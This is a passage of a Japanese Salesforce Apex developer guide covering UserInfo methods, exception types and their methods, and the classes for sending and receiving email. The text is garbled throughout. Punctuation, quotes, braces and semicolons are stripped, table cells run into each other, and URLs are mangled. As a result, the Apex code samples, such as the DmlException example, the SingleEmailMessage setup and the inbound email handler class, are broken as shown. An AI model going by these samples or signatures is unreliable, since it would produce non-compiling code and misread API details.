コンテキストユーザーの氏名を返します名前の形式は組織に指定された言語設定によっ

StringgetName

て異なります形式は次のいずれかになりますbull FirstName LastName

参照 Version 180 | Apex システムメソッド | 295

説明戻り値の型引数名前

bull LastName FirstName

コンテキスト組織の ID を返しますStringgetOrganizationId

コンテキスト組織の会社名を返しますStringgetOrganizationName

コンテキストユーザーのプロファイル ID を返します

StringgetProfileId

現在のセッションのセッション ID を返します

StringgetSessionId

デフォルトの組織テーマを返しますgetUiThemeDisplayedを使用して現在の

StringgetUiTheme

ユーザに実際に表示されるテーマを決定します

有効な値は次のとおりです

bull Theme1

bull Theme2

bull PortalDefault

bull Webstore

現在のユーザに表示されるテーマを返します

有効な値は次のとおりです

StringgetUiThemeDisplayed

bull Theme1

bull Theme2

bull PortalDefault

bull Webstore

コンテキストユーザーの ID を返しますStringgetUserId

コンテキストユーザーのログイン名を返します

StringgetUserName

コンテキストユーザーのロール ID を返します

StringgetUserRoleId

コンテキストユーザーのタイプを返しますStringgetUserType

コンテキストユーザにnamespaceで示された管理パッケージに対するライセンスがある場

BooleanString namespaceisCurrentUserLicensed

合は trueを返します該当しない場合はfalseを返します

namespaceが無効なパラメータの場合TypeExceptionが返されます

組織が複数の通貨を使用するかどうかを指定します

BooleanisMultiCurrencyOrganization

参照 Version 180 | Apex システムメソッド | 296

例外メソッドの使用すべての例外はエラーメッセージや例外タイプを返す組込みメソッドをサポートしています標準のexception

クラスに加え例外にはさまざまなタイプがあります

説明例外

非同期コールのエンキューの失敗など非同期処理に関するすべての問題の例外

AsyncException

外部システムへのコールの失敗などWeb サービス処理に関するすべての問題の例外

CalloutException

insert文でレコードの必要な項目が欠落している場合などDML 文に関するすべての問題の例外

DmlException

送信の失敗など電子メールに関するすべての問題の例外詳細は「Apex電子メールクラス」 (ページ 300)を参照してください

EmailException

URL に関するすべての問題の例外通常は Visualforce ページで使用しますVisualforce の詳細はwwwsalesforcecomusdeveloperdocspagesindexhtm の『Visualforce Developers Guide』を参照してください

InvalidParameterValueException

範囲外の索引へのアクセスなどリストに関するすべての問題の例外ListException

0 による除算など算術演算に関するすべての問題の例外MathException

現在のユーザがアクセス権を付与されていない sObject へのアクセスなど承認されないアクセスに関するすべての問題の例外通常はVisualforceページで

NoAccessException

使用しますVisualforce の詳細はwwwsalesforcecomusdeveloperdocspagesindexhtm の 『Visualforce DevelopersGuide』を参照してください

削除された sObject へのアクセスなど存在しないデータに関するすべての問題の例外通常は Visualforce ページで使用しますVisualforce の詳細は

NoDataFoundException

wwwsalesforcecomusdeveloperdocspagesindexhtm の 『Visualforce DevelopersGuide』を参照してください

特に Iteratornextメソッドで使用されますリストの終わり以降の項目にアクセスしようとするとこの例外が発生しますたとえばiteratorhasNext()

== falseで iteratornext()をコールすると個の例外が発生します

NoSuchElementException

次のコードでの例などnull 値の逆参照に関するすべての問題の例外String s stoLowerCase() s が null 値であるためNullPointerException が発生します

NullPointerException

単一の sObject 変数に対するレコードを返さないまたは 2 個以上のレコードを返すクエリの割り当てなどSOQL クエリに関するすべての問題の例外

QueryException

たとえばsearchStringパラメータの文字数が 2 文字未満の場合ForcecomWeb サービスの API search()コールで実行された SOSL クエリーの問題

SearchException

詳細はwwwsalesforcecomusdeveloperdocsapiindexhtm の『Forcecom Webservices API Developers Guide』を参照してください

参照 Version 180 | 例外メソッドの使用 | 297

説明例外

Crypto ユーティリティクラスの静的メソッドに関するすべての問題の例外詳細は「Cryptoクラス (ページ 359)」を参照してください

SecurityException

データのシリアル化に関するすべての問題の例外通常はVisualforceページで使用しますVisualforce の詳細は

SerializationException

wwwsalesforcecomusdeveloperdocspagesindexhtm の 『Visualforce DevelopersGuide』を参照してください

insert文でのみ変更可能な項目に対する update文の実行などsObject レコードに関するすべての問題の例外

SObjectException

100000 文字以上の String 型などString 型に関するすべての問題の例外StringException

valueOfメソッドを使用した文字列「a」の Integer 型への変換など型変換に関するすべての問題の例外

TypeException

Visualforce ページに関するすべての問題の例外ですVisualforce の詳細はwwwsalesforcecomusdeveloperdocspagesindexhtm の 『Visualforce DevelopersGuide』を参照してください

VisualforceException

XML の読み取り書き込みの失敗などXmlStream クラスに関するすべての問題の例外詳細は「XmlStream クラス」 (ページ366)を参照してください

XmlException

次にDmlException 例外を使用した例を示します

Account[] accts = new Account[]new Account(billingcity = San Jose) try insert accts catch (SystemDmlException e) for (Integer i = 0 i lt egetNumDml() i++) ここで例

外を処理Systemdebug(egetDmlMessage(i))

共通例外メソッド

例外メソッドは例外のある特定のインスタンスからコールされ処理されます次の表はすべてのインスタンス例外メソッドを示します次のメソッドはすべての例外タイプに共通です

説明戻り値の型引数名前

例外オプジェクトとして例外の原因を返します例外getCause

ユーザに表示されるエラーメッセージを返しますStringgetMessage

DMLExceptionListExceptionMathException などの例外タイプを返します

StringgetTypeName

例外の原因が設定されていない場合設定しますVoidsObject ExceptioninitCause

ユーザに表示されるエラーメッセージを設定します

VoidString ssetMessage

DMLException および EmailException メソッド

共通例外メソッドに加えDMLExceptions および EmailExceptions には次のメソッドもあります

参照 Version 180 | 例外メソッドの使用 | 298

説明戻り値の型引数名前

失敗したi番目の行に示されるエラーの原因となった項目の名前を返します

String[]Integer igetDmlFieldNames

失敗したi番目の行に示されるエラーの原因となった

SchemasObjectField []Integer igetDmlFields

項目の項目トークンを返します項目トークンの詳細は「Dynamic Apex」(ページ134)を参照してください

失敗したi番目の行に示されるエラーの原因となった

StringInteger igetDmlId

レコードの ID を返します

失敗したi番目の行の元の行位置を返します

IntegerInteger igetDmlIndex

失敗したi番目の行のユーザメッセージを返します

StringInteger igetDmlMessage

廃止代わりに getDmlTypeを使用してください失敗

StringInteger igetDmlStatusCode

した i番目の行の Apex 失敗コードを返します

SystemStatusCode の enum値の値を返します例try insert newAccount() catch

SystemStatusCodeInteger igetDmlType

(SystemDmlExceptionex) SystemassertEquals(

StatusCodeREQUIRED_FIELD_MISSINGexgetDmlType(0)

SystemStatusCode についての詳細は「Enum 値」(ページ 38)を参照してください

DML 例外で失敗した行数を返します

IntegergetNumDml

参照 Version 180 | 例外メソッドの使用 | 299

Apex クラス

Apexを使ったクラスを作成可能ですがアプリケーション構築用のシステム提供クラスも使用可能です

bull Apex電子メールクラスbull 例外クラスbull Visualforce クラスbull パターンおよびマッチャークラスbull HTTP (RESTful)サービスクラスbull Apex 承認プロセスクラスbull XmlStreamクラスbull 営業時間クラスbull Apex コミュニティクラスbull サイトクラス

Apex電子メールクラスApex にはSalesforcecom の電子メールの送信受信機能へのアクセスに使用するいくつかのクラスとオブジェクトが含まれます

詳細は以下を参照してください

bull 受信電子メール (ページ 310)bull 送信電子メール (ページ 300)

送信電子メール

個別メール送信または一括メール送信にApexを使用することができます電子メールには件名BCC アドレスなど標準的な電子メールの属性をすべて含めることができますSalesforcecom電子メールテンプレートを使用し平文テキストHTML 形式または Visualforce で生成されたものを使用します

メモ Visualforce 電子メールテンプレートは一括メール送信には使用できません

Salesforcecomを使用し電子メールが送られた日付最初に開かれた日付と最後に開かれた日付開かれた合計回数など HTML 形式のメールのステータスを追跡できます(詳細はSalesforcecomオンラインヘルプの「HTML電子メールの追跡」を参照してください)

個別メール送信または一括メール送信に Apex を使用するには次のクラスを使用しますSingleEmailMessage

単一の電子メールメッセージの送信に使用される電子メールオブジェクトをインスタンス化します構文は次のとおりです

MessagingSingleEmailMessage mail = new MessagingSingleEmailMessage()

参照 Version 180 | Apex クラス | 300

MassEmailMessage

電子メールメッセージの一括メール送信に使用される電子メールオブジェクトをインスタンス化します構文は次のとおりです

MessagingMassEmailMessage mail = new MessagingMassEmailMessage()

Messaging

静的 sendEmailメソッドを含みますこのメソッドはインスタンス化した電子メールオブジェクトをSingleEmailMessage クラスまたは MassEmailMessage クラスで送信しSendEmailResult オブジェクトを返します

電子メールを送信する構文は次のとおりです

MessagingsendEmail(new MessagingEmail[] mail opt_allOrNone)

Emailは MessagingSingleEmailMessageまたは MessagingMassEmailMessageのいずれかとなります

オプションの opt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返しますデフォルト値は真ですデータベースの DML 操作の詳細は「Apexのデータ操作言語 (DML)操作」 (ページ 186)を参照してください

次の点に注意してください

bull Apex トランザクションがコミットされるまで電子メールは送信されませんbull sendEmailメソッドをコールしているユーザの電子メールアドレスは電子メールヘッダーのFrom Address

項目に挿入されます返信された電子メール不達電子メールおよび外出中の自動返信メールはこのメソッドをコールしているユーザに送信されます

bull トランザクションあたり最大 10 個の sendEmailメソッドLimits メソッド を使用してトランザクション内の sendEmailメソッドの数を確認します

bull sendEmailメソッドで送信される単一の電子メールメッセージは送信する組織の 1 日の単一電子メール制限にはカウントされません個の制限値に達するとSingleEmailMessageを使用するsendEmailメソッドへのコールは拒否されユーザは SINGLE_EMAIL_LIMIT_EXCEEDEDエラーコードを受信しますただしアプリケーションを通して送られた単一電子メールは許可されます

bull sendEmailメソッドで送信される一括電子メールメッセージは送信する組織の 1 日の一括電子メール制限にはカウントされません個の制限値に達するとMassEmailMessageを使用する sendEmailメソッドへのコールは拒否されユーザは MASS_MAIL_LIMIT_EXCEEDEDエラーコードを受信します

bull SendEmailResult オブジェクトで返されるすべてのエラーは電子メールが送信されなかったことを表します

MessagingSingleEmailMessageには setOrgWideEmailAddressIdというメソッドがありますOrgWideEmailAddressオブジェクトのオブジェクト ID を受け取りますsetOrgWideEmailAddressIdに有効な ID が渡されると OrgWideEmailAddressDisplayName項目がログインユーザの表示名ではなく電子メールヘッダーに使用されますヘッダーの送信電子メールアドレスもOrgWideEmailAddressAddressで定義された項目に設定されます

メモ OrgWideEmailAddressDisplayNameおよび setSenderDisplayNameの両方が定義されるとDUPLICATE_SENDER_DISPLAY_NAMEエラーが発生します

参照 Version 180 | Apex電子メールクラス | 301

詳細はSalesforcecom オンラインヘルプの「組織のアドレス」を参照してください

新しい単一電子メールメッセージオブジェクトを作成 このメッセージはToCCBCC リストのアドレスに単一電子メールを送信しますMessagingSingleEmailMessage mail = new MessagingSingleEmailMessage()

電子メールを送信する電子メールアドレスを格納する文字列String[] toAddresses = new String[]useracmecom String[] ccAddresses = new String[] smithgmailcom

To および CC リストのアドレスの mail オブジェクトへの割り当てmailsetToAddresses(toAddresses)mailsetCcAddresses(ccAddresses)

受信者が電子メールに返信するときに使用されるアドレスを指定mailsetReplyTo(supportacmecom)

表示名として使用される名前を指定mailsetSenderDisplayName(Salesforce Support)

電子メールアドレスの件名を指定mailsetSubject(New Case Created + caseId)

この電子メールを自分に BCC で送信する場合真に設定mailsetBccSender(false)

オプションでsalesforcecom の電子メール署名を追加 Apex Code を実行しているユーザの電子メールアドレスが使用されますmailsetUseSignature(false)

電子メールの本文を指定mailsetPlainTextBody(Your Case + caseId + has been created)

mailsetHtmlBody(Your caseltbgt + caseId + ltbgthas been createdltpgt+ View case ltahref=httpsna1salesforcecom+caseId+gtclick hereltagt)

作成した電子メールを送信MessagingsendEmail(new MessagingSingleEmailMessage[] mail )

詳細は以下を参照してください

bull 基本電子メールメソッド (ページ 302)bull 単一メール送信メッセージメソッド (ページ 304)bull 一括メール送信メッセージメソッド (ページ 306)bull EmailFileAttachment メソッド (ページ 309)bull SendEmailResult Object メソッド (ページ 309)bull SendEmailError Object メソッド (ページ 310)

基本電子メールメソッド

次の表に単一メール送信および一括メール送信のどちらにも使用される電子メールオブジェクトメソッドを示します

メモ テンプレートが使用されていない場合電子メールの本文すべては平文テキストHTML またはそのいずれかでなければなりませんVisualforce電子メールテンプレートは一括メール送信では使用できません

説明戻り値引数の型名前

送られる電子メールのコピーを電子メール送信者が受け取るかどうかを示し

VoidBooleansetBccSender

ます大量電子メールに関しては送信

参照 Version 180 | Apex電子メールクラス | 302

説明戻り値引数の型名前

者は最初に送られる電子メールにのみコピーされます

メモ BCCコンプライアンスオプションが組織レベルに設定されている場合ユーザはBCCアドレスを標準のメッセージに追加することができません次のエラーコードが返されますBCC_NOT_ALLOWED_IF_BCC_COMPLIANCE_ENABLED BCCコンプライアンスについては貴社担当のsalesforcecom代理店に問い合わせてください

オプション受信者が返信した場合にメッセージを受け取る電子メールアドレス

VoidStringsetReplyTo

オプションデフォルト値は trueで電子メールはアクティビティとして保存

VoidBooleansetSaveAsActivity

されますこの引数は受信者リストはtargetObjectIdまたはtargetObjectIdsに基づいている場合のみ適用されますHTML電子メールのトラッキングがあなたの組織にとって可能な場合オープンレートの追跡が可能です

オプション電子メールの From 行に表示される名前SingleEmailMessage の

VoidStringsetSenderDisplayName

setOrgWideEmailAddressIdに関連するオブジェクトが DisplayName項目を定義している場合設定できません

オプション電子メールの件名行電子メールテンプレートを使用している場

VoidStringsetSubject

合この値はテンプレートの件名で上書きされます

そのユーザが設定された署名を持っている場合電子メールが電子メール署名を

VoidBooleansetUseSignature

含むかどうか示しますデフォルトは真ですユーザに署名が設定されている場合はこの値に偽を設定しない限り署名が電子メールに追加されます

参照 Version 180 | Apex電子メールクラス | 303

単一メール送信メッセージメソッド

次の表に単一メール送信に使用される電子メールオブジェクトメソッドを示します基本電子メールメソッドへの追加メソッドです

説明戻り値引数の型名前

オプションブラインドカーボンコピー(BCC) アドレスのリスト最大値は 10 で

VoidString[]setBccAddresses

すテンプレートを使用していない場合のみこの引数を使用できます次のいずれかの項目の少なくとも 1 つの値を指定しなければなりませんtoAddressesccAddressesbccAddressestargetObjectIdtargetObjectIds

BCCコンプライアンスオプションが組織レベルに設定されている場合ユーザはBCCアドレスを標準のメッセージに追加することができません次のエラーコードが返されますBCC_NOT_ALLOWED_IF_BCC_COMPLIANCE_ENABLED BCCコンプライアンスについては貴社担当のsalesforcecom代理店に問い合わせてください

オプションカーボンコピー (CC) アドレスのリスト最大値は 5 ですテンプレー

VoidString[]setCcAddresses

トを使用していない場合のみこの引数を使用できます

すべての電子メールは次の受信者の値を少なくとも 1 つ含んでいなければなりません

bull toAddresses

bull ccAddresses

bull bccAddresses

bull targetObjectId

bull targetObjectIds

オプション電子メール用の文字セットこの値が空値の場合ユーザのデフォルト値が使われます

VoidStringsetCharset

オプション電子メールに添付する各ドキュメントオブジェクトの ID を含むリス

VoidID[]setDocumentAttachments

ト添付されたドキュメントの合計が 10MB を超えない限りいくつでもドキュメントを追加できます

オプション電子メールに添付するバイナリファイルとテキストファイルのファイル

VoidEmailFileAttachment[]setFileAttachments

参照 Version 180 | Apex電子メールクラス | 304

説明戻り値引数の型名前

名を含むリスト添付されたファイルの合計が 10 MB を超えない限りいくつでもファイルを追加できます

オプション電子メールの HTML 版 (送信者による指定)組織に関連付けられた仕様

VoidStringsetHtmlBody

に従って値はエンコードされますsetTemplateIdsetHtmlBodyまたはsetPlainTextBodyの値を指定する必要がありますまたはsetHtmlBodyおよびsetPlainTextBodyの両方を定義できます

オプション送信電子メールの In-Reply-To項目このメールが返信している電子メー

VoidStringsetInReplyTo

ル (親電子メール) を識別します親電子メールのメッセージ ID が含まれています

オプション電子メールのテキスト版 (送信者による指定)setTemplateId

VoidStringsetPlainTextBody

setHtmlBodyまたはsetPlainTextBody

の値を指定する必要がありますまたはsetHtmlBodyおよび setPlainTextBody

の両方を定義できます

オプション送信電子メールに関連する組織の共有アドレスの ID

VoidIDsetOrgWideEmailAddressId

setSenderDisplayName項目が既に設定されている場合DisplayName項目は設定できません

オプション送信電子メールの References項目電子メールのスレッドを識別しま

VoidStringsetReferences

す親電子メールの References 項目およびメッセージ IDIn-Reply-To 項目のリストが含まれます

オプション電子メールを送信する取引先責任者リードユーザの ID指定する

VoidIDsetTargetObjectId

ID はコンテキストを設定しテンプレートのマージ項目に正しいデータが含まれていることを保証します

Email Opt Outオプションが選択されている ID やレコードを指定しないでください

すべての電子メールは次の受信者の値を少なくとも 1 つ含んでいなければなりません

参照 Version 180 | Apex電子メールクラス | 305

説明戻り値引数の型名前

bull toAddresses

bull ccAddresses

bull bccAddresses

bull targetObjectId

bull targetObjectIds

オプション電子メールを送信する電子メールアドレスのリスト電子メールアド

VoidString[]setToAddresses

レスの最大値は 10 ですテンプレートを使用していない場合のみこの引数を使用できます

すべての電子メールは次の受信者の値を少なくとも 1 つ含んでいなければなりません

bull toAddresses

bull ccAddresses

bull bccAddresses

bull targetObjectId

bull targetObjectIds

オプションtargetObjectId項目用のと取引先担当者を指定する場合whatIdも指

VoidIDsetWhatId

定可能ですこれはテンプレート内のマージ項目が正しいデータを含むことをさらに保証することに役立ちます値は次のタイプのいずれかですbull 取引先bull 納入商品bull キャンペーンbull ケースbull 契約bull 商談bull 注文bull 商品bull ソリューションbull カスタム

一括メール送信メッセージメソッド

次の表に一括メール送信に使用される一意の電子メールオブジェクトメソッドを示します基本電子メールメソッドへの追加メソッドです

参照 Version 180 | Apex電子メールクラス | 306

説明戻り値引数の型名前

電子メールの説明VoidStringsetDescription

電子メールを送信する取引先責任者リードユーザの ID のリスト指定す

VoidID[]setTargetObjectIds

る ID はコンテキストを設定しテンプレートのマージ項目に正しいデータが含まれていることを保証しますオブジェクトはすべて同じ型でなければなりません (すべての取引先責任者リードユーザ)1件の電子メールあたり最高250までIDをリストすることができますtargetObjectIds項目の値を指定した場合ユーザコンタクトまたはリードを設定するためと同様に任意にwhatId

を指定することが可能ですこれはテンプレート内のマージ項目が正しいデータを含んでいると保証します Email

Opt Outオプションが選択されている IDやレコードを指定しないでください

すべての電子メールは次の受信者の値を少なくとも 1 つ含んでいなければなりません

bull toAddresses

bull ccAddresses

bull bccAddresses

bull targetObjectId

bull targetObjectIds

この電子メールを作成するためにメージされるテンプレートのID

VoidIDsetTemplateID

setTemplateIdsetHtmlBodyまたはsetPlainTextBodyの値を指定する必要がありますまたはsetHtmlBodyおよびsetPlainTextBodyの両方を定義できます

オプションtargetObjectIds項目に取引先責任者のリストを指定した場合

VoidID[]setWhatIds

whatIdsのリストも同様に指定できますこれはテンプレート内のマージ項目が正しいデータを含むことをさらに保証することに役立ちます値は次のタイプのいずれかですbull 契約bull ケースbull 商談

参照 Version 180 | Apex電子メールクラス | 307

説明戻り値引数の型名前

bull 商品

メモ whatIdsを指定した場合targetObjectIdごとに 1 つ指定しますそれ以外の場合INVALID_ID_FIELDエラーが発生します

またMessagingMassEmailMessageクラスには基本電子メールメッセージメソッドへのアクセス権があります

説明戻り値引数の型名前

送られる電子メールのコピーを電子メール送信者が受け取るかどうかを示し

VoidBooleansetBccSender

ます大量電子メールに関しては送信者は最初に送られる電子メールにのみコピーされます

メモ BCCコンプライアンスオプションが組織レベルに設定されている場合ユーザはBCCアドレスを標準のメッセージに追加することができません次のエラーコードが返されますBCC_NOT_ALLOWED_IF_BCC_COMPLIANCE_ENABLED BCCコンプライアンスについては貴社担当のsalesforcecom代理店に問い合わせてください

オプション受信者が返信した場合にメッセージを受け取る電子メールアドレス

VoidStringsetReplyTo

オプションデフォルト値は trueで電子メールはアクティビティとして保存

VoidBooleansetSaveAsActivity

されますこの引数は受信者リストはtargetObjectIdまたはtargetObjectIdsに基づいている場合のみ適用されますHTML電子メールのトラッキングがあなたの組織にとって可能な場合オープンレートの追跡が可能です

参照 Version 180 | Apex電子メールクラス | 308

説明戻り値引数の型名前

オプション電子メールの From 行に表示される名前SingleEmailMessage の

VoidStringsetSenderDisplayName

setOrgWideEmailAddressIdに関連するオブジェクトが DisplayName項目を定義している場合設定できません

オプション電子メールの件名行電子メールテンプレートを使用している場

VoidStringsetSubject

合この値はテンプレートの件名で上書きされます

そのユーザが設定された署名を持っている場合電子メールが電子メール署名を

VoidBooleansetUseSignature

含むかどうか示しますデフォルトは真ですユーザに署名が設定されている場合はこの値に偽を設定しない限り署名が電子メールに追加されます

EmailFileAttachment メソッド

EmailFileAttachment オブジェクトはSalesforcecomの既存のドキュメントに対しSingleEmailMessage オブジェクト内で要求の一部として渡される添付ファイルを指定するのに使用します

説明戻り値引数の型名前

添付ファイル自身VoidBlob attachmentsetBody

添付ファイルのコンテンツタイプVoidStringcontent_type

setContentType

添付するファイルの名前VoidString file_namesetFileName

Content-Dispositions がインラインか (true) 添付ファイルか (false) を示します多くの場合イ

VoidBooleanContent-Disposition

setInline

ンラインコンテンツはメッセージ表示時にユーザに表示されます添付ファイルコンテンツはユーザのアクションを表示します

SendEmailResult Object メソッド

sendEmailメソッドはSendEmailResult オブジェクトのリストを返します各 SendEmailResult オブジェクトには次のメソッドがありますこのメソッドは引数をとりません

説明戻り値名前

sendEmailメソッドはの実行時にエラーが発生した場合SendEmailError オブジェクトが返されます

SendEmailError[]getErrors

電子メールが正しく送信されたか (真)されなかったか (偽) を示しますisSuccessが真であっても受信者が電子メールを受信したとは

BooleanisSuccess

参照 Version 180 | Apex電子メールクラス | 309

説明戻り値名前

限りません電子メールアドレスの問題不達スパムブロッカによるブロックなどが発生する場合があるからです

SendEmailError Object メソッド

SendEmailResult オブジェクトには SendEmailError が含まれている場合がありますSendEmailError には次のメソッドがありますこのメソッドは引数をとりません

説明戻り値名前

1 つ以上の項目名のリスト存在する場合エラー状態によって影響されたオブジェクト内の項目を判別します

String[]getFields

エラーメッセージのテキストStringgetMessage

エラーを特徴付けるコードステータスコードの完全なリストは組織の WSDL ファイルから入手できます組織の WSDL ファイルへの

SystemStatusCodegetStatusCode

アクセスの詳細はSalesforcecomオンラインヘルプの「SalesforcecomWSDL およびクライアント認証証明書のダウンロード」を参照してください

エラーが発生したターゲットレコードの IDStringgetTargetObjectId

受信電子メール

電子メールと添付ファイルの処理にApexを使用することができます電子メールはApex電子メールサービスが受信しInboundEmailオブジェクトを使用する Apex クラスが処理します

メモ Apex 電子メールサービスはDeveloperEnterpriseUnlimited Edition 組織でのみ利用可能です

この項で説明する内容は次のとおりです

bull Apex 電子メールサービスとはbull InboundEmail オブジェクトの使用bull InboundEmail オブジェクトbull InboundEmailHeader オブジェクトbull InboundEmailBinaryAttachment オブジェクトbull InboundEmailTextAttachment オブジェクトbull InboundEmailResult オブジェクトbull InboundEnvelope オブジェクト

Apex 電子メールサービスとは

電子メールサービスはApex クラスを使用して受信電子メールの内容ヘッダーおよび添付ファイルを処理する自動化されたプロセスですたとえばメッセージに含まれる取引先責任者情報に基づいて取引先責任者レコードを自動的に作成する電子メールサービスを作成できます

参照 Version 180 | Apex電子メールクラス | 310

各電子メールサービスにはSalesforcecom が生成した電子メールアドレスを 1 つ以上関連付けることができユーザはそのアドレス宛てに処理を求めるメッセージを送信できます複数ユーザが 1 つの電子メールサービスを使用する手順は次のとおりです

bull Salesforcecom が生成した複数の電子メールアドレスに電子メールサービスを関連付けこれらのアドレスをユーザに割り当てます

bull Salesforcecom が生成した単一の電子メールアドレスを電子メールサービスに関連付け電子メールサービスにアクセスするユーザによって実行されるApexクラスを記述しますたとえばユーザの電子メールアドレスに基づいてユーザを識別しそのユーザのレコードを作成する Apex クラスを記述します

電子メールサービスを使用するには[設定] [開発] [電子メールサービス] をクリックします

bull 新しい電子メールサービスを定義するには[新規電子メールサービス] をクリックしますbull 既存の電子メールサービスを選択してその設定の表示有効化または無効化およびその電子メールサー

ビス用のアドレスの表示または指定を行いますbull 既存の電子メールサービスを変更するには[編集] をクリックしますbull 電子メールサービスを削除するには[削除] をクリックします

メモ電子メールサービスを削除する前に関連するすべての電子メールサービスのアドレスを削除する必要があります

InboundEmail オブジェクトの使用

Apex 電子メールサービスドメインが受信するすべての電子メールについてSalesforcecom はその電子メールのコンテンツと添付ファイルを含む個別の InboundEmail オブジェクトを作成しますMessagingInboundEmailHandlerインターフェースを実装する Apex クラスを使用して受信電子メールメッセージを処理できますそのクラスで handleInboundEmailメソッドを使用してInboundEmail オブジェクトにアクセスし受信電子メールメッセージの内容ヘッダーおよび添付ファイルの取得とその他多数の機能を実行することができます

例 1 取引先責任者の ToDo の作成

受信メールアドレスに基づいて取引先責任者を検索し新規 ToDo を作成する方法の例は次のとおりです

global class CreateTaskEmailExample implements MessagingInboundEmailHandler

global MessagingInboundEmailResult handleInboundEmail(MessaginginboundEmail emailMessagingInboundEnvelope env)

Apex 電子メールサービスの結果を返す inboundEmailResult オブジェクトを作成MessagingInboundEmailResult result = new MessagingInboundEmailResult()

String myPlainText=

電子メールのプレーンテキストをローカル変数に追加

myPlainText = emailplainTextBody

作成する新規 ToDo オブジェクト

Task[] newTask = new Task[0]

電子メールの送信元アドレスに基づいて取引先責任者の検索を試行 電子メールアドレスが同じ取引先責任者が複数存在する場合 例外が送出されcatch ステートメントが呼び出されるtry Contact vCon = [Select

参照 Version 180 | Apex電子メールクラス | 311

Id Name Email From Contact Where Email = emailfromAddress Limit 1]

新しい ToDo を上記のコードで見つけた取引先責任者に追加newTaskadd(new Task(Description =myPlainText Priority = Normal Status = Inbound Email Subject = emailsubjectIsReminderSet = true ReminderDateTime = Systemnow()+1 WhoId = vConId))

新しい ToDo を挿入insert newTask

Systemdebug(New Task Object + newTask )

クエリによる取引先責任者レコードのアクセスに例外が発生する場合 QueryException が呼び出され例外は Apex debug log に書き出されますcatch (QueryException e) Systemdebug(Query Issue + e)

結果を True に設定エラーメッセージと共に電子メールを ユーザに返信する必要なし

resultsuccess = true

Apex 電子メールサービスの結果を返すreturn result

InboundEmail オブジェクト

InboundEmail オブジェクトには次の項目があります

説明型名前

その電子メールで受信したバイナリ添付ファイルのリスト (存在する場合)

バイナリ添付ファイルの例としては画像音声アプリケーション映像ファイルなどがあります

InboundEmailBinaryAttachment[]binaryAttachments

カーボンコピー (CC) アドレスのリスト (存在する場合)

String[]ccAddresses

[送信者] 項目に表示される電子メールアドレスStringfromAddress

[送信者] 項目に表示される名前 (存在する場合)StringfromName

電子メールの RFC 2822 ヘッダーのリスト具体的なヘッダーは次のとおりです

InboundEmailHeader[]headers

bull Recieved frombull Custom headersbull Message-IDbull Date

電子メールの HTML 版 (送信者が指定した場合)StringhtmlBody

HTML 本文テキストが切り捨てられる (true)かそうでない (false) かを示します

BooleanhtmlBodyIsTruncated

受信電子メールの In-Reply-To 項目このメールが返信している電子メール (親電子メール) を識

StringinReplyTo

参照 Version 180 | Apex電子メールクラス | 312

説明型名前

別します親電子メールのメッセージ ID が含まれています

メッセージ ID 受信電子メールの一意の識別子StringmessageId

電子メールの平文テキスト版 (送信者が指定した場合)

StringplainTextBody

本文のプレーンテキストが切り捨てられる (true)かそうでない (false) かを示します

BooleanplainTextBodyIsTruncated

受信電子メールの References 項目電子メールのスレッドを識別します電子メールの

String[]references

References 項目およびメッセージ IDIn-Reply-To項目のリストが含まれます

reply-to ヘッダーに表示される電子メールアドレス

reply-to ヘッダーが存在しない場合fromAddress項目と同じになります

StringreplyTo

電子メールの件名 (存在する場合)Stringsubject

その電子メールで受信したテキスト添付ファイルのリスト (存在する場合)

テキスト添付ファイルは次のいずれかです

InboundEmailTextAttachment[]textAttachments

bull textの Multipurpose Internet Mail Extension(MIME) タイプの添付ファイル

bull applicationoctet-streamの MIME タイプの添付ファイルとvcfまたはvcs拡張子で終わるファイル名の添付ファイルこれらはそれぞれtextx-vcardおよびtextcalendar MIME タイプとして保存されます

[宛先]項目に表示される電子メールアドレスString[]toAddresses

InboundEmailHeader オブジェクト

InboundEmail オブジェクトはInboundEmailHeader オブジェクトに RFC 2822 電子メールヘッダー情報と次の項目を格納します

説明型名前

Dateや Message-IDなどヘッダーパラメータの名前Stringname

ヘッダーの値Stringvalue

参照 Version 180 | Apex電子メールクラス | 313

InboundEmailBinaryAttachment オブジェクト

InboundEmail オブジェクトはInboundEmailBinaryAttachment オブジェクトにバイナリ添付ファイルを格納します

バイナリ添付ファイルの例としては画像音声アプリケーション映像ファイルなどがあります

InboundEmailBinaryAttachment オブジェクトには次の項目があります

説明型名前

添付ファイルの本文Blobbody

添付ファイルの名前StringfileName

プライマリおよびサブ MIME タイプStringmimeTypeSubType

InboundEmailTextAttachment オブジェクト

InboundEmail オブジェクトはInboundEmailTextAttachment オブジェクトにテキスト添付ファイルを格納します

テキスト添付ファイルは次のいずれかです

bull textの Multipurpose Internet Mail Extension (MIME) タイプの添付ファイルbull applicationoctet-streamの MIME タイプの添付ファイルとvcfまたは vcs拡張子で終わるファイ

ル名の添付ファイルこれらはそれぞれtextx-vcardおよび textcalendar MIME タイプとして保存されます

InboundEmailTextAttachment オブジェクトには次の項目があります

説明型名前

添付ファイルの本文Stringbody

添付ファイルの本文テキストが切り捨てられる (true) かそうでない (false) かを示します

BooleanbodyIsTruncated

[body] 項目の元の文字セットbody はApexメソッドに入力されるときに UTF-8 でエンコードし直されます

Stringcharset

添付ファイルの名前StringfileName

プライマリおよびサブ MIME タイプStringmimeTypeSubType

InboundEmailResult オブジェクト

InboundEmailResult オブジェクトにより電子メールサービスの結果が返されますこのオブジェクトが Null であれば結果は正常とみなされますInboundEmailResult オブジェクトには次の項目があります

参照 Version 180 | Apex電子メールクラス | 314

説明型名前

電子メールが正常に処理されたかどうかを示す値

Falseの場合はSalesforcecom が受信メールを拒否し[Message]

項目で指定されているメッセージを含む返信メールを元の送信者に送信します

Booleansuccess

Salesforcecom が返信メールの本文で返すメッセージこの項目はSuccess項目で返された値に関係なくテキストを入力できます

Stringmessage

InboundEnvelope オブジェクト

InboundEnvelope オブジェクトには受信電子メールに関連するエンベロープ情報が保管され次の項目があります

説明型名前

[宛先]項目に表示される名前 (存在する場合)StringtoAddress

[送信者]項目に表示される名前 (存在する場合)StringfromAddress

例外クラスApex では独自の例外クラスを作成できます例外はトップレベルクラスとすることができますつまりメンバー変数メソッドコンストラクタを持ちインターフェースの実装などが可能です

独自に作成した例外は他の標準の例外タイプと同じように動作し発生させたいところで発生し受け取ることができます

